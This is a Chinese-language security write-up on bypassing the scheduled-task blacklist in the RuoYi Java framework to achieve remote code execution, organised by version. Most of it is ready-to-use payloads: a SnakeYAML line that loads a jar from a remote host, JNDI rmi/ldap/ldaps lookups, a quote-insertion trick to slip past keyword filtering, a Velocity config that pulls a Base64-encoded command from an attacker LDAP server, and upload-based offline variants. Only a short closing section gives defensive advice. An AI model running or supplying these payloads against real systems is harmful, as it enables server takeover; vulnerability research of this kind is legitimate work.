某依rce黑名单多种bypass方法分析
字数 1022 2025-08-29 08:31:35
若依RCE黑名单绕过方法深度分析
一、若依RCE漏洞背景
若依框架存在两处RCE漏洞点:
- 定时任务功能
- Thymeleaf模板注入
本文重点分析定时任务功能的黑名单绕过方法。
二、定时任务RCE原理
若依定时任务允许执行满足以下条件的类方法:
- 具有无参构造方法
- 调用的方法必须是类自身声明的方法(非父类方法)
- 构造方法和调用的方法均为public
三、不同版本利用方法
1. 版本<4.6.2
无任何限制,可直接使用公开POC:
org.yaml.snakeyaml.Yaml.load('!!javax.script.ScriptEngineManager[!!java.net.URLClassLoader[[!!java.net.URL["http://192.168.3.3:2333/yaml-payload.jar"]]]]')
org.springframework.jndi.JndiLocatorDelegate.lookup('rmi://127.0.0.1:1099/refObj')
javax.naming.InitialContext.lookup('ldap://127.0.0.1:9999/#Exploit')
不出网RCE方法
利用file协议实现不出网利用:
- 上传任意后缀文件(若依提供上传接口)
- 通过修改配置类设置上传路径
- 使用file协议加载上传文件
com.ruoyi.common.config.RuoYiConfig.setProfile('E:/test')
org.yaml.snakeyaml.Yaml.load('!!javax.script.ScriptEngineManager[!!java.net.URLClassLoader[[!!java.net.URL["file://上传的绝对路径"]]]]')
2. 版本>=4.6.2且<4.7.2
黑名单限制:
- 屏蔽ldap远程调用
- 屏蔽http(s)远程调用
- 屏蔽rmi远程调用
绕过方法
方法1:使用ldaps协议
- 在LDAP服务器上搭载SSL层
- 实现LDAP注入(实现较复杂)
方法2:使用其他协议
- ftp、file协议
方法3:单引号绕过
- 若依会将参数中的单引号替换为空
- 在危险字符间加入单引号
org.springframework.jndi.JndiLocatorDelegate.lookup('r'm'i://127.0.0.1:1099/refObj')
方法4:JNDI Bypass
- 使用
org.springframework.jdbc.datasource.lookup.JndiDataSourceLookup.getDataSource
org.springframework.jdbc.datasource.lookup.JndiDataSourceLookup.getDataSource('ldaps://xxx')
方法5:Velocity配置文件RCE
- 上传可控配置文件
- 通过
org.apache.velocity.runtime.RuntimeInstance#init加载
配置文件示例:
resource.loader = ds
ds.resource.loader.public.name = DataSource
ds.resource.loader.description = Velocity DataSource Resource Loader
ds.resource.loader.class = org.apache.velocity.runtime.resource.loader.DataSourceResourceLoader
ds.resource.loader.datasource_url = ldap://xxx:1389/TomcatBypass/Command/Base64/Y2FsYy5leGU=
ds.resource.loader.resource.table = tb_velocity_template
ds.resource.loader.resource.keycolumn = id_template
ds.resource.loader.resource.templatecolumn = template_definition
ds.resource.loader.resource.timestampcolumn = template_timestamp
ds.resource.loader.cache = false
ds.resource.loader.modificationCheckInterval = 60
POC:
org.apache.velocity.runtime.RuntimeInstance.init('E:/ee.txt')
不出网RCE尝试
尝试使用com.sun.glass.utils.NativeLibLoader#loadLibrary方法:
- 需要上传.dll或.so文件
- 若依无法上传这些后缀的文件
3. 版本4.7.3(最新版)
限制改为黑白名单:
- 只能调用com.ruoyi包下的类
- 暂无有效绕过方法
四、技术要点总结
- 协议利用:file、ldaps、ftp等协议在黑名单限制下仍可能有效
- 字符绕过:利用单引号替换机制绕过黑名单检测
- 配置文件注入:通过Velocity等框架的配置文件实现RCE
- 版本差异:不同版本的黑名单限制不同,需针对性绕过
- 不出网利用:关键在于文件上传和路径控制
五、防御建议
- 升级到最新版本(4.7.3及以上)
- 严格控制文件上传功能
- 对定时任务执行进行更严格的权限控制
- 监控异常的文件操作和网络请求